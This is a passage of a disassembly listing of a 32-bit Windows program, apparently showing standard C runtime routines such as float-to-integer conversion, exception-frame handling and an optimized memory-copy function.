sub_41D13C	proc near		; CODE XREF: sub_41D124p
		mov	eax, offset sub_422540
		mov	off_43D474, offset sub_4221D5
		mov	off_43D470, eax
		mov	off_43D478, offset sub_42223B
		mov	off_43D47C, offset sub_42217B
		mov	off_43D480, offset sub_422223
		mov	off_43D484, eax
		retn
sub_41D13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D174	proc near		; CODE XREF: sub_40D2F4+1Bp
					; sub_40D2F4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41D174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D19B(double)

sub_41D19B	proc near		; CODE XREF: sub_40D340+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE78
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D221
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D204
		cmp	eax, 2
		jle	short loc_41D1F6
		cmp	eax, 3
		jnz	short loc_41D204
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D1F6:				; CODE XREF: sub_41D19B+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D204:				; CODE XREF: sub_41D19B+3Aj
					; sub_41D19B+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D221:				; CODE XREF: sub_41D19B+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D244


loc_41D236:				; CODE XREF: sub_41D19B+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D244:				; CODE XREF: sub_41D19B+99j
		test	bl, 20h
		jnz	short loc_41D236
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41D25E:				; CODE XREF: sub_41D19B+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D266:				; CODE XREF: sub_41D19B+59j
					; sub_41D19B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D26A	proc near		; CODE XREF: ___:00422A22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D26A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D29E	proc near		; CODE XREF: sub_422B62+199p
					; sub_422D26+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D29E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D2A5	proc near		; CODE XREF: sub_422B62+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D2AC	proc near		; CODE XREF: sub_41D45E+5Cp
					; sub_4229B1:loc_4229E2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D2D4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426356
sub_41D2AC	endp

; ---------------------------------------------------------------------------


loc_41D2D4:				; DATA XREF: sub_41D2AC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41D2FB:				; CODE XREF: ___:00426AACj
					; ___:00426AC9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4225B6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D331	proc near		; CODE XREF: sub_422A2C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D385
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422DB0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D385	proc near		; DATA XREF: sub_41D331+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		pop	ebp
		retn
sub_41D385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3AA	proc near		; CODE XREF: sub_4227F8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D45E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D430
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBEC0
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D430:				; DATA XREF: sub_41D3AA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D44D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D456
; ---------------------------------------------------------------------------


loc_41D44D:				; CODE XREF: sub_41D3AA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D456:				; CODE XREF: sub_41D3AA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D45E	proc near		; DATA XREF: sub_41D3AA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D481
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D4CE
; ---------------------------------------------------------------------------


loc_41D481:				; CODE XREF: sub_41D45E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D4BF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D2AC
; ---------------------------------------------------------------------------


loc_41D4BF:				; CODE XREF: sub_41D45E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D4CE:				; CODE XREF: sub_41D45E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4D3	proc near		; CODE XREF: sub_422651+C6p
					; sub_4227F8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D52A


loc_41D4F1:				; CODE XREF: sub_41D4D3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D4FB
		call	sub_422E52


loc_41D4FB:				; CODE XREF: sub_41D4D3+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D510
		cmp	ecx, [eax+8]
		jle	short loc_41D515


loc_41D510:				; CODE XREF: sub_41D4D3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D521


loc_41D515:				; CODE XREF: sub_41D4D3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D521:				; CODE XREF: sub_41D4D3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D4F1
		mov	eax, [ebp+var_4]


loc_41D52A:				; CODE XREF: sub_41D4D3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D53E
		cmp	esi, eax
		jbe	short loc_41D543


loc_41D53E:				; CODE XREF: sub_41D4D3+65j
		call	sub_422E52


loc_41D543:				; CODE XREF: sub_41D4D3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D4D3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D550	proc near		; CODE XREF: sub_423CC0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41D568
		push	[ebp+arg_0]
		call	sub_426356
sub_41D550	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D568	proc near		; DATA XREF: sub_41D550+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D568	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D570	proc near		; DATA XREF: sub_41D592+Ao
					; sub_41D5FA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D591
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D591:				; CODE XREF: sub_41D570+10j
		retn
sub_41D570	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D592	proc near		; CODE XREF: sub_422AD2+Dp
					; sub_423CC0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D570
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D5AF:				; CODE XREF: sub_41D592:loc_41D5EAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D5EC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D5EC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D5EA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D626
		call	dword ptr [ebx+esi*4+8]


loc_41D5EA:				; CODE XREF: sub_41D592+44j
		jmp	short loc_41D5AF
; ---------------------------------------------------------------------------


loc_41D5EC:				; CODE XREF: sub_41D592+2Aj
					; sub_41D592+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5FA	proc near		; CODE XREF: sub_422AF2+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D570
		jnz	short locret_41D61C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D61C
		mov	eax, 1

locret_41D61C:				; CODE XREF: sub_41D5FA+10j
					; sub_41D5FA+1Bj
		retn
sub_41D5FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D61D	proc near		; CODE XREF: sub_422DB0+1Ep
					; sub_422DB0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE7C
		jmp	short loc_41D630
sub_41D61D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D626	proc near		; CODE XREF: sub_41D592+4Fp
					; sub_423CC0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE7C
		mov	ecx, [ebp+8]


loc_41D630:				; CODE XREF: sub_41D61D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D626	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_40D340+5p
					; sub_40D4E2+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D640	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D65F	proc near		; CODE XREF: sub_40D977+26p
					; ___:004260F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA91
		pop	ecx
		retn
sub_41D65F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D670	proc near		; CODE XREF: sub_40D9E8+3Ap
					; sub_41E742+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D690
		cmp	edi, eax
		jb	loc_41D808


loc_41D690:				; CODE XREF: sub_41D670+16j
		test	edi, 3
		jnz	short loc_41D6AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------


loc_41D6AC:				; CODE XREF: sub_41D670+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D6C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D6C4:				; CODE XREF: sub_41D670+46j
		jmp	dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D6CC:				; CODE XREF: sub_41D670+31j
					; sub_41D670+8Ej ...
		jmp	off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D6E0
		dd offset loc_41D70C
		dd offset loc_41D730
; ---------------------------------------------------------------------------


loc_41D6E0:				; DATA XREF: sub_41D670+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D70C:				; DATA XREF: sub_41D670+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D730:				; DATA XREF: sub_41D670+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D74C	dd offset loc_41D7AF	; DATA XREF: sub_41D670:loc_41D6CCr
		dd offset loc_41D79C
		dd offset loc_41D794
		dd offset loc_41D78C
		dd offset loc_41D784
		dd offset loc_41D77C
		dd offset loc_41D774
		dd offset loc_41D76C
; ---------------------------------------------------------------------------


loc_41D76C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D774:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D77C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D784:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D78C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D794:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D79C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D7AF:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670:off_41D74Co
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D7B8	dd offset loc_41D7C8	; DATA XREF: sub_41D670+35r
					; sub_41D670+92r ...
		dd offset loc_41D7D0
		dd offset loc_41D7DC
		dd offset loc_41D7F0
; ---------------------------------------------------------------------------


loc_41D7C8:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7D0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D7DC:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7F0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D808:				; CODE XREF: sub_41D670+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D83C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D830:				; CODE XREF: sub_41D670+1B1j
					; sub_41D670+208j ...
		neg	ecx
		jmp	off_41D900[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D83C:				; CODE XREF: sub_41D670+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D854
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D854:				; CODE XREF: sub_41D670+1D6j
					; DATA XREF: sub_41D670+1DDr
		jmp	off_41D950[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		push	880041D8h
		fadd	dword ptr [ecx+0]
		mov	al, 0D8h
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D904
		dd offset loc_41D90C
		dd offset loc_41D914
		dd offset loc_41D91C
		dd offset loc_41D924
		dd offset loc_41D92C
		dd offset loc_41D934
off_41D900	dd offset loc_41D947	; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------


loc_41D904:				; DATA XREF: sub_41D670+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D90C:				; DATA XREF: sub_41D670+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D914:				; DATA XREF: sub_41D670+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D91C:				; DATA XREF: sub_41D670+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D924:				; DATA XREF: sub_41D670+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D92C:				; DATA XREF: sub_41D670+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D934:				; DATA XREF: sub_41D670+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D947:				; CODE XREF: sub_41D670+1C2j
					; DATA XREF: sub_41D670:off_41D900o
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D950	dd offset loc_41D960	; DATA XREF: sub_41D670+1B7r
					; sub_41D670:loc_41D854r ...
		dd offset loc_41D968
		dd offset loc_41D978
		dd offset loc_41D98C
; ---------------------------------------------------------------------------


loc_41D960:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D968:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D978:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4
